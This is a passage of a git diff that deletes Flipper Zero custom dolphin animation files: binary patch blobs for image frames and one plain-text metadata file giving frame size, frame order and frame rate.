za5#-b9+3E8JYnAKI6fe8z<8iXo)3tOC>}6zxxf_S4?GMZq+jkDWI^fszs=#G@xlKY z!VDo0|G!oE@Hj!@b|83w#9mxD^#IE@`AuWuo#2`aON_QgU0;=;B+A%@dXgP Qe}MAilLmnX2Z*SF=4rqeNB{r; diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_9.bm deleted file mode 100644 index 1462a4a4e66b52dfcf77923b573ea5377f1791a0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 681 zcmV;a0#^M20Hp!|55xWdm^=s`J^+2e0pq{~9Y6RFNEp0<=||!N(gF`GASF5AR414{ zKnZ^boEQ>++prYp;Pn3jO8w>soPH1wC^$T)|Npo=;o$LufJD@%mY z@`tzx9?fP>fJABX?G=5Ys?z#c(?{|X22?+_S-h#ph&5c$bs3>g3L9zwzY-@!ss zARvGU9)JP|kZ?c(+8}y?L>@Enh=b6WAoQ<755f<5{BRyI_zn{PKO%@dA>i_d;Gp4g z2eckAq8NX>4iAV7Fdj00_dFjFm{SOd=4BOO|L`z?c)2lfIV9)p<5LJu4C3xUvtgTz!q P@%{tLj{|^E4df4C#49GJ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/meta.txt deleted file mode 100644 index d1ce7fc49..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 12 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_0.bm deleted file mode 100644 index 5af2322069a10dba4c589a6a1f510ce350062f84..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 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 Ci1Ty+ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_14.bm deleted file mode 100644 index a41b9be45ba63f9d1cb154c2b899911e9597c33d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 560 zcmV-00?+*c04xHJz#t%nyaASe4|w1|q2Ttw1J{8A2e@HJ%nu*L@D7vW;{T`cIshc_ z5O5)QFYpil{0t-m_yrH~|G@vkLjWY0q(BA!|M9`*9y00+2i`9@5M+g?0R{*Ffdhg* z2o#_Z>^L;T=LfuaN@W2j2=u?;lKxNs&@mAJhyJ}E{N_MS8yd8J1%mhl1`q#NA~-~1 zfJpd6P6#S60sk-N(g&hN2xC77s%Sy#-w+VNgys(zz&$VUNB{&u=Rav6JmCQJzx)a) z4=8~BKmG!mf5W3N2dDsfzi=T#APNCDnrxxa^YDYpz@H#_z~S)!z&uCez(W~Cpb+@@ zJeA@P83%wwa0-0+sv=PYj0S*0JM$OO#S)ju9h&?PNC1dI>oETV))pX7;8=g& z5PE;%;P>%^)Cgknp@YZf4^Q+hT6oAomZLJWN6luk;^4k`R5v z;sEl$gXTX7|3E*1^M`}i{|3JU;a))TgM;>e0|$vcAz<~7z@*1P2hZ{z4;P4o&L#{P yU_7AkC^CdW^#g%H0qZjc3=jlAhzLAI=MVqL!RhdT1O5yTY8X8{06~IyFX>XR!~{_Q diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_15.bm deleted file mode 100644 index 27a319a94e3a2fc1ff754708b41ac9bc692ad497..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 546 zcmV+-0^R)q03HJW-~j8ufrHxu2VVev!R>elzXT4j;Cv1ceBknjfsfz>JOun4KmOPd zKm|SuA+SN?58w-q4i7))|Ar3`NREr}J5Trj&JPko49?&@AOQ+bfqxdB1R7W{c_2se z{|A&04h|5wgUSL19|_=srT;h)_+UTCKY|1B84x^o;j!n*$OaPQd2mW8d>UIzTKq2t(d2!$t1<63(XGf3z0ph<9 zc*q1tf4~FLemn%q&#?A+`_zB%aC`5db0ipp&j7+uc+NlI@?(wy1`ti~6o3B^dB8F6 zvxfuE<_|;Ahzc3Lkb}y84?o-j2wyx1J<)>FIrjn+|NVo~1hO~<`@xw9jC>w&Ws!>q z!IA&|LG6GCmH)%g|Na5)LJ)ZKf#duKp>%KwQWuYaA1M*wfA}u3{{zw(4;Lu|&;Ab; zSp&uZ4-sJS)Z+aRd80@kcyM`3!R>zsv^*bBFnxc)`g|AyFka*jm<~XsKmGVVV0eIi zf`$(a|3E*$@kgLM;qYL7hz9fz5GbqM3@|&8KOyis&^{gFPbeKY{{Zs;K;UpApo8iH k59kC61;7W@@E$N={6T^92mh^v9(RCw7t9{>0D0fRD;lS(g2frK+v%r5tf%|}ggWt~qA6Ptn@NhBDfQP`JgMf2p%J%z5_%UA|eNl{ss>c*{g&uegJ^Oz(X(xnO%aS2ouvNP;?=52gz7K z>JM;0!{AQ?{{hBu4`?I^K9T>#3?8tEAU!YT!4w!gp@8)N{LW|(C_()SCC>4;&JhqZ z7yzI+_&Z=h;|x$2f*z|V1|A>$2aNt44<`7u3jqg*fdnitI{+|a10tW`tmiQYkg!uL zKf&0+=3^J&fD?ZKna}w%fl(9!|KP*};Y305d~fA@MX;P{8JM*nb5kN94O(FdRW0xZ%8vV?vg{|G<4YH9=1;-?4}p1q;27a~cfs=k1dISaOYsM`9uIm4=l%u{ zFL*v-@IR0~7vxA74@e)77!4Q*AovXo0s{iz1IXTh@&brISK|W*%oqeQ=mZEJO7;i% RJfnc}XPgWk(SUg?&IV_;=NJG0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_17.bm deleted file mode 100644 index 74970d537d995289c1a96ce3756d08cef83f0abf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 533 zcmV+w0_yz%01*QJ-~j7@gM;_M0SC7P4!;3=@Iwn62k801;mZcf8am={2u@+FTkxopZpj+paAj|2moXP!smn3a6!@*5CDPVkr6Pze75G7lK|JmAm;kpsuUk^la|>|GIg zctPX&2ca}@1R)2H8>9dH1Kg@S3;tuF|NaBg7!N;(|H1JG_x}I>2ch(VK{|BfPf?^yjcs%GZ4*)#>fx-X~bZ~G# z_q0Y(JK!|E;PQZfzVs6)h=c?p(*OA3X2QTg{syrd5DhxkQ7M0iWADRK1`s`O&~9)&pl~pHLF^yT2~>e24}GNi2O$4= z@8I(aAUu?!4`1{V#CPgAAbjBTfj}BZehLUYXW;XLKp00qz(m397#aXPv-}C4|LzYM zI6TrvAK=Kr;~xi{F$6&J;RDC!4@g1?hvkgX|NkKQ;9vd;(FfPU|G@G8|Df>{k@SG0 z`2X+})gX8`Gzyrz;|Br*v3P1b!KcnFLZV$X4cnSXl zo-eRa_#oi@`M~eQAqUm`9`p5igT_Aty#w+O1E&M%6fig(7@nZ=f0zCN0)aco9~ba= f!Mp(SfrHozA@K*OWI^X12lO~!0QH6g$ewTz{YnAP diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_19.bm deleted file mode 100644 index 1cf2a31b2059bcd821926c0d0d8defb7905c1290..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 553 zcmV+^0@nQj03`y0z#yQOjsw>K4{*qX)&dS*1PnjF05Zey0(F2#f$hMDfztp6P>#0D1ra5dpap1Q;X|1B?g%3{98+!w2{Z z2oOF9@MKWQJ~SE}!R%TPdZ)$&20{>^NC07Cg9GrqB@#vmylw#Xm_Q)`^uPQFDL;@v z1R@VV`*c7C4*y?`D-wAlmULLdT<%p>gb2afpoPV zJZvAtnFGlX{&UPr>64 z2j&Cb56}OD4iXT3{@`RH2hyBp!1W6Xy#M?72tRZ188H1#A`eJB1_Tet7(93Y@_~cf r{Qw7#fF76dV8#GLeh0;T9)-aNkH8-AfDp%n?E(My!RZVKj0_%toS5^u diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_2.bm deleted file mode 100644 index cdde1b49d96f119a79a198ef27241faff764630c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 575 zcmV-F0>J$N06PMJfJgwaaC+bY?Z5-5JVVX!7qETj0QQ~@)&UO#E(Qk}A1n+ASNI3= zLjaHuqk;c`|D!Mp06inYGylQBBLFZbfLwo%{Cplz0m^_2`TyU8&IBnU>39c&|NryB zNiG(G@&K&%9D$HO4t!4QZ%qxkX3 zU^dbSH{ilY@&Dh=2ml-R_z+?O2eAle=>-4H&*+LEd58*T1Q;M?C-DJ7NWen~2c`YO zU;#&zU>?2zQ3KLoNnQzQB;X;C6Vw0i|FsGMZvhH`P38a?fAAnb0C{i`D*7Ae`-A@n zt^jr_!GZt3%uym10s}zcF-gEHLEwM$;=%?A2>+3r_v9Wi@JT??De#8uKRhsaibx*N z&IjX;4@fvcJ`m)n^TFvJ52!v7f&?I7;|fFH2dsV=4>vf2#{WMDlo9~@Kja4g{O5z% z{*WH{JZIqZ7K;e~kUqcr&JPn=4g~~%$Sz;~;|Gig9*}Yn|0Xf-|DHY%IKT*J#!}$p zzyEpt{2ssN`8&t|`v;-4zr|q(kMsZk2f%#6_8%xXJpb@uV9XDPfCr`gAK>?cgWY%_ z^oN7Qo?!a|2t40J4>VF_v2t6Sn_5a5|fcQs{JYo01eS(G`JSVI~9?(E| zx5OVe_#r$&!oMJT{3q~8f&@Y5AqEU!9#QxtARmzMeL?_3;DdwApfUgb1Rn(P2hRcq N4<85p3PAh6gUGcZ0xAFi diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_20.bm deleted file mode 100644 index f2a6069e5dd2276ba55bcf93b9c71a9d1d592f1c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 553 zcmV+^0@nQj03`x}fJgwi2sjkLf(AeVcpxDCoB>c8Fi?9#f$BC;0PqOw2lzw5>+mnM z1|SGq;2C)E3IVl5%|8T*oj(9l;D5lw9|H(I0^&k1{15yOZ-JD25D(}6AO8oHjW$4H z{6YWU{P;ZhU?CI;3}DmG_yC3H5B__>J_b|JgW5hX7$UgM1^_lOLILSNxIfke4{Q32!Q=uM zfc-z^p#U5_dNTle@WJn3H=qEnVD;bw$Q)%6j|ql84@JoaiupeH1I7#t7!3n}-w}ww z?~}(6&)+1H5)l`M1Af0eh#o*9Asi-seGij-f$RQ;Pd}nTUy@8nVuCn!WAnieq&gT6 zJLDUI_(_O7%R&!P5b^Ke^Zr4^2YkZ<2c8c^khG8}Ao9P1$Ph9D`Gv$DGyD7eU=WA} z03K854Zr#C2eQaP<$$;Uz47pQ#t=jT8U6yF{`1HG;Pr=t%LzyS_~GF5E|hp=Gx-D` z|MLgW0)GI*gUoVM0D1T??h*g~!SnD3pY$J0K?jfgAK>}?fA9ePzk}5hK=Pk9#y$@; z5QEnI-WWJNVPN!j54<10K0JKBVE6=x;6dpV2eb?y&=Zh@?|%V>6V^`ePxgKT3*ZCq r4*`LA0rmXBgT1qL06hYLz#+h=`~&)Y4_G)kumFSy&A@)p@OwuA>+p|**ec+dYA z@Op3n%6T97Az%PzH4q_gU?GA5i4-9AXN&?61|pEp?g00Q1JeKCNsM3+G!PJ=1mv6q z@&D*xv9JTzf)9EDJpcvwzk|`xCi6*`f_#S_7%XrLkx-BTVgJeE)O=v`z+fTc5`+IQ zfbpA$38W(;FANX)`T`969#6q)Bu4lTD0n=f!1Vq`Z=bW6jsyTP=rBD05Y30@1`ik! zu$3YYP6y*24?@t52p&Ko2ey0^Aob7R!R81T5&s_I4=DINfdb+k1OoX1q<=f$_F*0J z0e=UK{2p%)|K~nF4>9Q|h7o>(XaB(RMUXtBz#+dv0psU~gU(XM{CpnA!T1B&bV<<%&HNr#0Dpt+cp&rs1H`^R zaD703koX7KA5i~u2tnunZV7z{(ry%CnCui7yJ$$cs+l^ zBY}g;0uL@3V8Fu+hYN`;csLm#L}Gauz&zveh7gI#Y#^cV1Ij-?fmjUVKj1;nVki)K zPxt22IgEe#e?OSSzz7*2sRM{CN2LdnKlvQ4jz`2R~ejfKx~g7b#!?^#k_{1#~0v-~)$%W)s-JZ{O7U z1IGaXpm+pF3AcYz1P>;X3Wgc5{yjyWVD^J_Kb$anLBa?R8VB=^4@h~8LFknpcs)Py z@Ooi^?wk<;L_ZKfdJfC|4{0Ovn11Ih+%AJ{$b$x?x#$Nmoy$wmW&4=6Z4!Q_7s zdku&G4+pw*f$97gusq;+0D1@D9#C+4B1j%^aCpE$_YZ(y)*=s|;5<@8_y^Q}LHvM& z&@dqM|HeN7^#{B+_z#5n1I8Q=5_&?x>wkiG41y15d441CN@B!S=Mx94J_rR6e}n7c t2M4^27%;$jK*8%D2e*J8W%37&3?8r$cxXd%%VGfP;zy zKLig96evT7LBYaJ5P1d0UjreJ`U98;o&8W>!U(|p2eCH@0Ac_5aVa2wfY9IpfXnIE~#R6;!$VQ>XPdl&}){r3ut zFdk9?5(CEkkRZt5AA$fo;z4>QRF)4&-JeZX`Kk^eVD9}qbK$U*l9hy(T?7#R=n9w_mL zo7O)J{sYB6VD=M_(f|*+_&%BBFBlL!Pvj4XdZ=`e{pU6B42oE!O#lh|D%J_;14r-1JDvM3jjR0AN45!zy$Me diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_5.bm deleted file mode 100644 index fd6ae7a9b64c31b5d6d80fec5f0f04a25ac8f949..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 565 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 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_2.bm deleted file mode 100644 index 7c381e0798661f0b0356817a06d34373ed13f7c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 716 zcmV;-0yF&q0LTLWz9wQux8eY@rQ%Tf%bqAPH_N` zz%bBw7$8IfGa!h}F$6K=K*#185RuF{fbsu8XkdY`M+Rg98->swH^K;l2Y|C6P=$v4 zV;KAc1_&5M_y#P(;2j468zYg}pfmw7&B5al1qhHq;{fgzOMx*WjDd_GfrAf_7$89h ztat=4pm|6E<6xiz%79K2X(3VKAoKnMOaL>Wd0;Rw82~-+;343ENc`og2Y-i2DpPt{tp;{Jk5j;L3qa|0P#hb$U*1;Ab7UO8X)$ce<2|A z;8#KEzaNakCjf^B$^;)`c!S0m_)~it#2#P*Kft`e1g|i7!U^IJD8xaYK=W6Kykp0~ zh)$j84=_N*)5Mb?c*o!m@duR6{!TLh5Ij>wVF#0-KnXqp3Ul2aH8~{OAf$Llc zl>i=SHozUk9xbr|3>Y5K7z7?b4>I`10tr7?h&)n44JbK5pkpEjmtY7$0>1;zq$7dw zqK$}97&xe4YC?x_1_}I$gUmFOfO=2h;lYDQ0R!NN-~z@E7<@3~NE8GJ0Dsr`_&k9H z;Qzo&0stTT&{aZ7KuEsK3N!F{!^0!|hk`~P6-)j&J~#+8V*m*e0Khl^^MRHNz!@+2 yAb$W-hhxFzhl7GjKkxz<{(M;xxnIA)qWHr=h5Z|lw8Q0pfPqWGA3y=)@8wcA+bc@| diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_3.bm deleted file mode 100644 index 82f1570084477d070429d38a439338c6ec52f9cc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 642 zcmV-|0)71f0Dc1hfDS(ZofPn+j5BLa=0{`#_#0UHe9|U{|GWq~LU?1-M zKf#6@m_0A>2=pEufF+N@KOhIB{s9Jq!wY3T53oFN&@g#mE^)|&3?95_91tEh2y|i) z4{u}!3@<4JV-OE-;RIkI0*rAWspY>wD8urD%q);#dT;_G0|$>12QZlf*TEPEoWeOc zjf>Xd5C@C~fxxg{q2Tm~%qAEJ4+Eb^|NC+9Kzc?2c~!#f;uS@y-L(5IheH zG(qLOz(fJ|gag_DY!MM9gdUOj1GGWs z5P)xi>j9WF8~6`c5Ip<>^8P|W=>!yv5IR^Oc*8;I2#i1>fb#x>#vV^ldU!1G5A+-! zZov<)!UO&frTiXI!tue8LJztGa2~(#X%xgBGy4H3LF@d$N8}s;IN`zV0seScVoVXy cgV@9{2tVK!fCGV{#r7pp5EuaiLJuHPfKiwNhyVZp diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_4.bm deleted file mode 100644 index a85efdb4c0937d8c6c54b0cb54ca66d0a6566718..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 646 zcmV;10(t!b0D=PlfDRA%|G@kc{|Fpt5I}lB{}cH4g8%UU#pD3>fLJYnj7O>9^{@(x1;D^@ceHSNN7aJ>gg`s+KZnXj4{QVm8NlN}XkHl{ARdu` zd0;pt5wJjk?ErznupGz?0x1Cpr2HOm4ipWbCt(Mouwc-521Eofz@&OEbAP-3VN&$=}3?Lpc$b|qNaQIXJxKP1(&mtTEdO=_v!{EaVL%avDaDR`| z0S@v&FF`r#%L<|D_4=Dr#@%O)j z+I$Z#0hE9D5PL^~@5(fwes_bCH^TA2M>7NIQXqn{z zpM%mqd=Plh0Add)06hg_YA=Ka2>`!A0qZ~qi+oIj0RIEpz|IhP2*>>e2fW}MJ`ecx zVBqs2h;TvW0GL3*`yU>NJul&r2Z^|>5rBOM%K@NO2t3H*4G?*Mzx;C0gVF=|2Z{)P g1fvJE20eg-o5XZL^nw03@N?MUL1+(A5QD^afNT5=HUIzs diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_5.bm deleted file mode 100644 index 31a8e3e9d0b4f59841b164115a819ad3b50fddaa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 745 